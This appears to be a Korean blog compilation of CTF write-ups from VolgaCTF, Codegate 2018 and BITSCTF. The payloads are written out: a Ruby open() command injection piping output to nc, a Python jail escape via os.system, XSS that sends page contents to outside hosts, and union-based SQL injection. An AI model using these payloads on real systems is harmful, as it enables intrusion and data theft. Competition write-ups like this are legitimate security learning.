18번 페이지는 위 사진이며 site주소와 description을 받는다. description은 중요하지 않고 site주소에 http://~serverip~/check.this를 입력하여 실제로 접근하는지에 확인했다.

그 후 서버의 access.log를 보면 기록이 실제 존재하는 것을 볼 수 있다.

188.246.233.28 - - [26/Mar/2018:10:32:42 +0900] "GET /check.this HTTP/1.1" 404 449 "-" "Ruby"

앞선 siteValidation함수가 18번 페이지에 사용된다는 것을 알 수 있고 이를 공격 벡터로 생각했고 다음과 같은 검색을 했다.

ruby open vuln

구글 상단 첫글에 Ruby on Rails Cheatsheet - OWASP라는 글이 있으며 이 글을 읽어보면 다음과 같은 방법으로 RCE가 가능하다고 한다.

open("| os command here")

따라서 값을 받아오기 위해 다음과 같이 공격하였다.

| ls | nc IP PORT

위와 같은 값을 site부분에 넣게 되면 RCE가 되면서 nc를 통하여 값을 보내주게 된다.

최 상단 루트 디렉토리에 플래그가 있고 이를 cat을 통하여 읽어오면 된다.

'CTF Write-up > 2018' 카테고리의 다른 글

Codegate 2018 Final / Random Picross  (0) 2018.04.07
Codegate 2018 Final / Flower Dance  (0) 2018.04.07
Codegate 2018 qual / Miro  (0) 2018.03.01
Codegate 2018 qual / Impel_Down  (0) 2018.03.01
Codegate 2018 qual / Useless  (0) 2018.03.01

Miro(Crypto) / 612pt / Solver : Glucose

Crypto 문제로 TLS 1.2를 이용하여 암호화한 통신을 한다. 주어진 파일은 pcap파일과 python source code(client)파일로서 pcap파일의 패킷을 보면 Python client를 통하여 서버와 통신한 것이라는 것을 유추 할 수 있다.

통신 내용은 게임을 하는 것으로 위, 아래, 오른쪽, 왼쪽으로 이동하여 골인 지점까지 이동하는 것이다. 그러나 client에서는 아래와 오른쪽으로 이동하는 함수만이 정상 작동하도록 프로그래밍 되어있으며 해당 동작은 고유의 Hash값을 서버에 전달함으로써 실행되기 때문에 유추하여 이동시키는 것이 불가능하다.

따라서 pcap파일의 암호화를 해제하여 이동하는 Hash값을 수집하여 골인지점으로 이동하여야 한다는 결론이 나온다.

우선 TLS을 이용하여 암호화를 하기 때문에 공격을 위해 공개키를 가져와서 RSA를 공격하여 개인키를 생성해야 한다고 생각했고, 공개키를 찾기 위해 인증서를 가져오기로 했다.

소스 코드 상의 주소인 tls_client.connect(('ch41l3ng3s.codegate.kr',443))로 접속했다.


왼측 상단에 안전하지 않음 경고가 떴으며 이는 인증서가 존재하다는 것을 확신할 수 있다.

 


  왼측 상단의 안전하지 않음 경고를 클릭하면 인증서, 잘못된 데이터라고 뜨나 이는 인증되지 않은 인증서를 사용해서 취약하기 때문이다.

잘못된 데이터를 누르면 인증서의 세부 사항들을 볼 수 있다.


이 인증서를 다운받아 openssl을 통하여 인증서를 공개키로 변환하였다.

Commnad : openssl x509 -pubkey -noout -in miro.cer

변환된 공개키의 N값을 추출하였다.

Command : openssl rsa -in miro.pub -pubin -text -noout

결과 N값인 Modulus가 다음과 같이 출력된다.


N값을 공격하기 위해 RSACTFTOOL(https://github.com/Ganapati/RsaCtfTool)을 사용한다.

그러나 정상적인 공격이 되지 않아 소스코드를 일부 수정해야한다. 수정 내용은 다음과 같다.

  > Pollard_p_1 attack 삭제
    > fermat attack, Timeout
시간 증가.

그 결과 fermat 공격이 성공하여 Private 키를 획득 할 수 있다.


얻은 Private key를 이용하여 pcap파일을 decrypt한다.

 


decrypt하면 아래와 같이 패킷을 볼 수 있다.


여기에서 전에 없던 hash값인 위, 왼쪽 Hash를 얻을 수 있어 client파일을 수정하여 동작하면 모든 방향으로 이동할 수 있어 Flag를 얻을 수 있다.

'CTF Write-up > 2018' 카테고리의 다른 글

Codegate 2018 Final / Random Picross  (0) 2018.04.07
Codegate 2018 Final / Flower Dance  (0) 2018.04.07
VolgaCTF2018 quals / Old Goverment Site  (0) 2018.03.26
Codegate 2018 qual / Impel_Down  (0) 2018.03.01
Codegate 2018 qual / Useless  (0) 2018.03.01

Impel Down(Misc) / 186pt / Solver : Glucose

PyJail break문제이다. 행복하다.


단순히 Name을 입력받고 Impel Down을 탈출하면 되는 문제이다. 그런데 시간 초과가 있다.

이름을 입력하고 들어가면 coworker, tool, dig, bomb등의 기능이 있는데 이 기능만 되고 다른 명령어는 없는듯 하다 화가 나서 오타를 냈다. “.”을 하나 더 넣었는데 오류가 났다. 행복하다.


넣은 값을 이용하여 앞 뒤로 각각 “your.”, “()”를 붙이고 eval로 실행한다. 공격 벡터라고 판단하였다. 또한 Impel_Down.py라는 파일을 실행 한다는 것을 알 수 있다.

앞에 your.라는 문자열 때문에 print같은 키워드는 사용이 불가하다.(print, import…) 그래서 일단 소스코드를 뽑기로 했다.

> 입력 : dig, open("Impel_Down.py", 'rb').read
> eval(“your.dig, open(‘Impel_Down.py’, ‘rb’).read()”)

_가 사용 불가 문자열이기 때문에 필터링 된다. 따라서 우회를 위해 다음과 같이 변경하였다.

여기 부터는 서버에 접속이 불가하여 기억에 의존하여 글로만 작성합니다.

처음에는 os 모듈을 불러오려 했으나 모듈이 import되어 있지 않아 오류가 발생하였고 sys로시도하였을 때에는 sys모듈이 import되어있다고 판단할 수 있었다.

따라서 출력함수를 sys.exit()로 실행하여 실행이 종료하면서 원하는 값을 출력할 수 있도록 하였다. 38자 제한으로 인해 원하는 길이 만큼 넣을 수 있었던 이름의 변수 명을 찾기 위해 다음과  같은 시도를 하였다.

> dig, sys.exit(dir())

결과적으로 선언된 이름들이 나열되는 결과를 볼 수 있고 name이라는 변수를 찾을 수 있다.

따라서 다음과 같이 실행한다.

> name : open(‘Empel\x5fDown.py’, ‘rb’).read()

> dig, sys.exit(eval(name))

모든 소스코드가 추출되며 최상단 루트 디렉토리에 /FLAG~~~~라는 것이 존재한다고 한다. os모듈을 불러오기를 시도한다.

> name : __import__('os').system('ls /')

> dig,sys.exit(eval(name))

결과 플래그 파일의 이름을 찾을 수 있다.

이 파일을 실행하면 플래그가 나오는 구조이기 때문에 실행한다.

> name :__import__('os').system('/FLAG_FLAG_FLAG_LOLOLOLOLOLOL')

> dig,sys.exit(eval(name))

'CTF Write-up > 2018' 카테고리의 다른 글

Codegate 2018 Final / Random Picross  (0) 2018.04.07
Codegate 2018 Final / Flower Dance  (0) 2018.04.07
VolgaCTF2018 quals / Old Goverment Site  (0) 2018.03.26
Codegate 2018 qual / Miro  (0) 2018.03.01
Codegate 2018 qual / Useless  (0) 2018.03.01

Useless(Misc) / 381pt / Solver : Glucose

Write-up을 쓸 때 서버가 닫혀있어 기억과 파일에 의존하여 풀이를 합니다.

문제를 처음접속하면 별 기능없는 페이지와 같다. Useless에서 사용하지 않지만 CTF에 자주 등장하는 문제 같다는 느낌이 들어서 robots.txt.git같은걸 찾아보았는데 .git이 맞아들었다.

git에서 dvcs-ripperclone해와 문제의 사이트의 .git 디렉토리를 가져왔다. 가져온 결과 object폴더에 정보들이 있다는 것을 알 수 있고 zlib으로 decompress를 해보면 다음과 같은 소스코드와 정보를 볼 수 있다.

blob 245## algorithm for session cookie 

 

### Basic

- general user >> username + user IP 

- **admin**        >> admin + 127.0.0.1

 

### example

- username : `codegate`, IP : `211.224.255.84`

    - `codegate211.224.255.84` >> (encrypt) >> setting cookie

 

blob 8447#-*- coding: utf-8 -*-

 

class Encrypt():

 

    def __init__(self, iv=None, keystr=None):       

        self.iv = "useles5@"

        self.keystr = "SUCK_7h15+4lG0_!"

        self.init_matrix = []

 

        chunk1 = self.keystr[0:8]

        chunk2 = self.keystr[8:16]

        row = []

 

 

        for i in range(0, 8):

            for j in range(0, 8):

                row.append(ord(chunk1[i]) ^ ord(chunk2[j]))

           

            self.init_matrix.append( row[0:8])

           

            del row[:]

 

 

   

    def split(self, p_txt):

 

        chunk = []

 

        if len(p_txt)%8 != 0:

            p_txt += "x" * (8 - len(p_txt)%8)

       

 

        for i in range(0, len(p_txt), 8 ):

             chunk.append(p_txt[i:i+8])

       

 

        return chunk

 

   

    def change(self, p_txt):

       

        temp = []

        result = []

 

        p_chunk = self.split(p_txt)

 

        for i in range(0, len(p_chunk)):

            for j in range(0, 8):

                temp.append(ord(p_chunk[i][j]))

           

            result.append(temp[0:8])

            del temp[:]

       

 

        return result

 

 

    def schedule(self, num):

 

        shift = [1, 2, 3, 2, 2, 1, 2, 3]

        temp = []

        matrix = []

       

 

        if num%2 == 0:           

            for i in range(0, 8):

                for j in range(0, 8):

                    temp.append(self.init_matrix[i][(8 - shift[i] + j)%8])

                   

                matrix.append(temp[0:8])

                del temp[:]

               

       

        else:

            for i in range(0, 8):

                for j in range(0, 8):

                    temp.append(self.init_matrix[i][(shift[i] + j)%8])

 

                matrix.append(temp[0:8])

                del temp[:]

 

           

        return matrix

 

 

 

    def round0(self, p_chunk, k_chunk):

 

        temp = []

 

        temp.append(p_chunk[0] - 10 + k_chunk[0])

        temp.append(p_chunk[1] ^ k_chunk[1])           

        temp.append(p_chunk[2] + k_chunk[2])

        temp.append(p_chunk[3] % (k_chunk[3]+2) + 32)

        temp.append(p_chunk[4] * 2 - k_chunk[3] - 7)

        temp.append(p_chunk[5] - 11 - k_chunk[5]%13)

        temp.append(p_chunk[6] ^ k_chunk[6])           

        temp.append(p_chunk[7] * 5 / (k_chunk[7] + 5))

 

        return temp

   

 

 

    def round1(self, p_chunk, k_chunk):

 

        temp = []

 

        temp.append(p_chunk[0] - 11 + k_chunk[0])

        temp.append(p_chunk[1] ^ (k_chunk[1])%5)

        temp.append(p_chunk[2] ^ k_chunk[2])           

        temp.append(p_chunk[3] % (k_chunk[3]+2) + 34)

        temp.append(p_chunk[4] - k_chunk[3] + 14)

        temp.append(p_chunk[5] ^ k_chunk[5])          

        temp.append(p_chunk[6] + 9 - k_chunk[6])

        temp.append(p_chunk[7] + k_chunk[7])

 

        return temp

   

 

 

    def round2(self, p_chunk, k_chunk):

       

        temp = []

 

        temp.append(p_chunk[0] - 11 + k_chunk[0])

        temp.append(p_chunk[1] ^ (k_chunk[1]) % 13)

        temp.append(p_chunk[2] + k_chunk[2] + 17)

        temp.append(p_chunk[3] ^ k_chunk[3])           

        temp.append(p_chunk[4] ^ k_chunk[4])           

        temp.append(p_chunk[5] - k_chunk[5] + 20)

        temp.append(p_chunk[6] / 3 % (k_chunk[6]+15))

        temp.append(p_chunk[7] + k_chunk[7])

       

        return temp

 

 

 

    def round3(self, p_chunk, k_chunk):

       

        temp = []

 

        temp.append(p_chunk[0] + k_chunk[0])

        temp.append(p_chunk[1] ^ k_chunk[1] - 15)

        temp.append(p_chunk[2] ^ k_chunk[2])           

        temp.append(p_chunk[3] + k_chunk[3])           

        temp.append(p_chunk[4] + k_chunk[3] - 33)

        temp.append(p_chunk[5] ^ k_chunk[5])           

        temp.append(p_chunk[6] + k_chunk[6] - 55)

        temp.append(p_chunk[7] + k_chunk[7])

       

        return temp

 

 

 

    def round4(self, p_chunk, k_chunk):

       

        temp = []

 

        temp.append(p_chunk[0] + k_chunk[0])

        temp.append(p_chunk[1] + k_chunk[1] + 17)

        temp.append(p_chunk[2] ^ k_chunk[2])           

        temp.append(p_chunk[3] - k_chunk[3] + 20)           

        temp.append(p_chunk[4] % (k_chunk[3]+2) - 34)

        temp.append(p_chunk[5] ^ k_chunk[5])           

        temp.append(p_chunk[6] + k_chunk[6])

        temp.append(p_chunk[7] - 11 + k_chunk[7])

 

        return temp

 

 

    def round5(self, p_chunk, k_chunk):

       

        temp = []

 

        temp.append(p_chunk[0] / 6 % (k_chunk[0]+1))

        temp.append(p_chunk[1] ^ k_chunk[1])           

        temp.append(p_chunk[2] - k_chunk[2] + 20)           

        temp.append(p_chunk[3] - k_chunk[3] + 20)           

        temp.append(p_chunk[4] % (k_chunk[3]+7) - 34)

        temp.append(p_chunk[5] + k_chunk[5])

        temp.append(p_chunk[6] ^ k_chunk[6])           

        temp.append(p_chunk[7] + k_chunk[7])     

 

        return temp

 

 

    def round6(self, p_chunk, k_chunk):

       

        temp = []

 

        temp.append(p_chunk[0] / 6 % (k_chunk[0]+7))

        temp.append(p_chunk[1] + k_chunk[1])

        temp.append(p_chunk[2] ^ k_chunk[2])           

        temp.append(p_chunk[3] - k_chunk[3] % 2 + 55)           

        temp.append(p_chunk[4] % (k_chunk[3]+3) + 127)

        temp.append(p_chunk[5] ^ k_chunk[5])           

        temp.append(p_chunk[6] + k_chunk[6] % 3)

        temp.append(p_chunk[7] + 11 + k_chunk[7])      

 

        return temp

 

 

    def round7(self, p_chunk, k_chunk):

       

        temp = []

 

        temp.append(p_chunk[0] + k_chunk[0]%30)

        temp.append(p_chunk[1] / (k_chunk[1]+1))

        temp.append(p_chunk[2] % (k_chunk[2]+4) + 18)           

        temp.append(p_chunk[3] ^ k_chunk[3])           

        temp.append(p_chunk[4] ^ k_chunk[4])           

        temp.append(p_chunk[5] / (k_chunk[5]+10) + 97)

        temp.append(p_chunk[6] + k_chunk[6])           

        temp.append(p_chunk[7] / 11 + k_chunk[7])      

 

        return temp

   

 

 

    def xor_calc(self, iv, chunk):

       

        result = []

 

        for i in range(0, 8):

            result.append(iv[i] ^ chunk[i])

 

        return result

 

 

 

    def encblock(self, chunk, num):

 

        rows = self.schedule(num)

 

        block = []

        result = []

 

        block.append(self.round0(chunk, rows[0]))

        block.append(self.round1(chunk, rows[1]))

        block.append(self.round2(chunk, rows[2]))

        block.append(self.round3(chunk, rows[3]))

        block.append(self.round4(chunk, rows[4]))

        block.append(self.round5(chunk, rows[5]))

        block.append(self.round6(chunk, rows[6]))

        block.append(self.round7(chunk, rows[7]))

 

 

        if num%2 == 0:

            result.append(chunk[0]^block[0][1]^block[1][2]^block[2][3])

            result.append(chunk[1]^block[0][1]^block[1][2]^block[3][2])

            result.append(chunk[2]^block[0][1]^block[2][3]^block[3][2])

            result.append(chunk[3]^block[1][2]^block[2][3]^block[3][2])

            result.append(chunk[4]^block[4][2]^block[5][1]^block[6][2])

            result.append(chunk[5]^block[4][2]^block[5][1]^block[7][3])

            result.append(chunk[6]^block[4][2]^block[6][2]^block[7][3])

            result.append(chunk[7]^block[5][1]^block[6][2]^block[7][3])

 

        else:

            result.append(chunk[0]^block[0][6]^block[1][5]^block[2][4])

            result.append(chunk[1]^block[0][6]^block[1][5]^block[3][5])

            result.append(chunk[2]^block[0][6]^block[2][4]^block[3][5])

            result.append(chunk[3]^block[1][5]^block[2][4]^block[3][5])

            result.append(chunk[4]^block[4][5]^block[5][6]^block[6][5])

            result.append(chunk[5]^block[4][5]^block[5][6]^block[7][4])

            result.append(chunk[6]^block[4][5]^block[6][5]^block[7][4])

            result.append(chunk[7]^block[5][6]^block[6][5]^block[7][4])

           

 

        return result

 

 

 

    def encrypt(self, plaintxt):

 

        p_chunks = self.change(plaintxt)

        e_chunks = []

 

        for i in range(0, len(p_chunks)):

            if i == 0:

                xor = (self.change(self.iv)[0])

 

            temp = self.xor_calc(xor, p_chunks[i])

            e_chunks.append(self.encblock(temp, i))

 

            del xor[:]

            del temp[:]

 

            xor.extend(e_chunks[i]) 

       

 

        enctxt = ""

 

        for i in range(0, len(e_chunks)):

            for j in range(0, 8):

                enctxt += chr(e_chunks[i][j])

 

 

        return enctxt.encode('hex')

 

 

위 파이썬 코드를 이용하여 admin127.0.0.1encrypt하고 이를 쿠키로 사용하면 플래그를 준다라는 설명이며 실제로 이를 위와 같이 하면 플래그를 얻을 수 있다.

'CTF Write-up > 2018' 카테고리의 다른 글

Codegate 2018 Final / Random Picross  (0) 2018.04.07
Codegate 2018 Final / Flower Dance  (0) 2018.04.07
VolgaCTF2018 quals / Old Goverment Site  (0) 2018.03.26
Codegate 2018 qual / Miro  (0) 2018.03.01
Codegate 2018 qual / Impel_Down  (0) 2018.03.01


문제 페이지는 다음과 같다.



짜증나는 reCAPTHA와 간단히 관리자에게 보낼 수 있는 문자열을 입력할 칸이 있다. 이 곳이 XSS취약점 공격지점이다. 우선 간단하게 다음 공격을 보내보았다.


<script>location.href='http://dextrose.xyz:6868/';</script>


그 후 NC로 확인해보면 다음과 같은 결과를 볼 수 있다.


C:\tool>nc -l -p 6868
GET / HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://127.0.0.1/tmp/9295fed283f978f9cd21761a3db1b73cc9e060b1.html
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en,*
Host: dextrose.xyz:6868


Refere가 http://127.0.0.1/tmp/9295fed283f978f9cd21761a3db1b73cc9e060b1.html인것으로 보아 한번 문자열을 보낼때 마다 새로운 html파일을 만들고 그 파일을 읽는 것으로 보인다. 또한 쿠키값이 없기 때문에 해당 파일에 flag가 있는 것으로 보인다.


flag를 얻기 위해 다음과 같은 공격을 시도 했다.


<script>location.href='http://210.124.110.199:9999/?cookie=' + document.body.innerHTML;</script>


하지만 문자열은 오지 않았다. 따라서 base64로 인코딩하여 키를 가져오면 된다고 생각하고 다음과 같은 공격을 시도할 수 있다.


<scipt>location.href='http://210.124.110.199:9999/?cookie=' + window.btoa(document.body.innerHTML);</script>


그래도 문자열은 오지 않는다. 따라서 키 형식인 BITSCTF{  KEY  }로 잘라내어 키를 가져온다.


<script> location.href='http://210.124.110.199:9999/?cookie=' + document.body.innerHTML.split('BITSCTF{')[1].split('}')[0]; </script>


그러면 db에 다음과 같은 로그가 남게 된다.


cookie                               | ip

-----------------------------------------------------

hsr_1s_n0t_cr3ative                  | 205.139.17.49


flag is BITSCTF{hsr_1s_n0t_cr3ative}




기본적으로 사이트는 다음과 같이 생겼다.



여기에 id(숫자)를 입력하면 다음과 같은 결과가 나온다.



이 때 다음과 같은 쿼리를 날려볼 수 있다.


1' union select 1, 2-- -


위 쿼리를 날리면 다음과 같은 결과가 출력되며 이는 SQL injection 공격을 통해 데이터를 유출 할 수 있다.



1' union select table_name, 2 FROM information_schema.tables-- -

위 쿼리를 이용해 테이블 명을 유출 할 수 있고 결과는 다음과 같다.


First name:CHARACTER_SETS
Surname: 2

First name:COLLATIONS
Surname: 2

First name:COLLATION_CHARACTER_SET_APPLICABILITY
Surname: 2

First name:COLUMNS
Surname: 2

First name:COLUMN_PRIVILEGES
Surname: 2

First name:ENGINES
Surname: 2

First name:EVENTS
Surname: 2

First name:FILES
Surname: 2

First name:GLOBAL_STATUS
Surname: 2

First name:GLOBAL_VARIABLES
Surname: 2

First name:KEY_COLUMN_USAGE
Surname: 2

First name:PARAMETERS
Surname: 2

First name:PARTITIONS
Surname: 2

First name:PLUGINS
Surname: 2

First name:PROCESSLIST
Surname: 2

First name:PROFILING
Surname: 2

First name:REFERENTIAL_CONSTRAINTS
Surname: 2

First name:ROUTINES
Surname: 2

First name:SCHEMATA
Surname: 2

First name:SCHEMA_PRIVILEGES
Surname: 2

First name:SESSION_STATUS
Surname: 2

First name:SESSION_VARIABLES
Surname: 2

First name:STATISTICS
Surname: 2

First name:TABLES
Surname: 2

First name:TABLESPACES
Surname: 2

First name:TABLE_CONSTRAINTS
Surname: 2

First name:TABLE_PRIVILEGES
Surname: 2

First name:TRIGGERS
Surname: 2

First name:USER_PRIVILEGES
Surname: 2

First name:VIEWS
Surname: 2

First name:INNODB_BUFFER_PAGE
Surname: 2

First name:INNODB_TRX
Surname: 2

First name:INNODB_BUFFER_POOL_STATS
Surname: 2

First name:INNODB_LOCK_WAITS
Surname: 2

First name:INNODB_CMPMEM
Surname: 2

First name:INNODB_CMP
Surname: 2

First name:INNODB_LOCKS
Surname: 2

First name:INNODB_CMPMEM_RESET
Surname: 2

First name:INNODB_CMP_RESET
Surname: 2

First name:INNODB_BUFFER_PAGE_LRU
Surname: 2

First name:CIA_Official_Records
Surname: 2

First name:Joker
Surname: 2

First name:columns_priv
Surname: 2

First name:db
Surname: 2

First name:event
Surname: 2

First name:func
Surname: 2

First name:general_log
Surname: 2

First name:help_category
Surname: 2

First name:help_keyword
Surname: 2

First name:help_relation
Surname: 2

First name:help_topic
Surname: 2

First name:host
Surname: 2

First name:ndb_binlog_index
Surname: 2

First name:plugin
Surname: 2

First name:proc
Surname: 2

First name:procs_priv
Surname: 2

First name:proxies_priv
Surname: 2

First name:servers
Surname: 2

First name:slow_log
Surname: 2

First name:tables_priv
Surname: 2

First name:time_zone
Surname: 2

First name:time_zone_leap_second
Surname: 2

First name:time_zone_name
Surname: 2

First name:time_zone_transition
Surname: 2

First name:time_zone_transition_type
Surname: 2

First name:user
Surname: 2

First name:cond_instances
Surname: 2

First name:events_waits_current
Surname: 2

First name:events_waits_history
Surname: 2

First name:events_waits_history_long
Surname: 2

First name:events_waits_summary_by_instance
Surname: 2

First name:events_waits_summary_by_thread_by_event_name
Surname: 2

First name:events_waits_summary_global_by_event_name
Surname: 2

First name:file_instances
Surname: 2

First name:file_summary_by_event_name
Surname: 2

First name:file_summary_by_instance
Surname: 2

First name:mutex_instances
Surname: 2

First name:performance_timers
Surname: 2

First name:rwlock_instances
Surname: 2

First name:setup_consumers
Surname: 2

First name:setup_instruments
Surname: 2

First name:setup_timers
Surname: 2

First name:threads
Surname: 2

이 때 다음과 같은 테이블을 발견할 수 있다.


First name:Joker
Surname: 2

이 테이블의 내용을 읽기 위해 다음 쿼리를 질의 한다.


1' union select * from Joker-- -



flag is BITSCTF{wh4t_d03snt_k1ll_y0u_s1mply_m4k3s_y0u_str4ng3r!}

+ Recent posts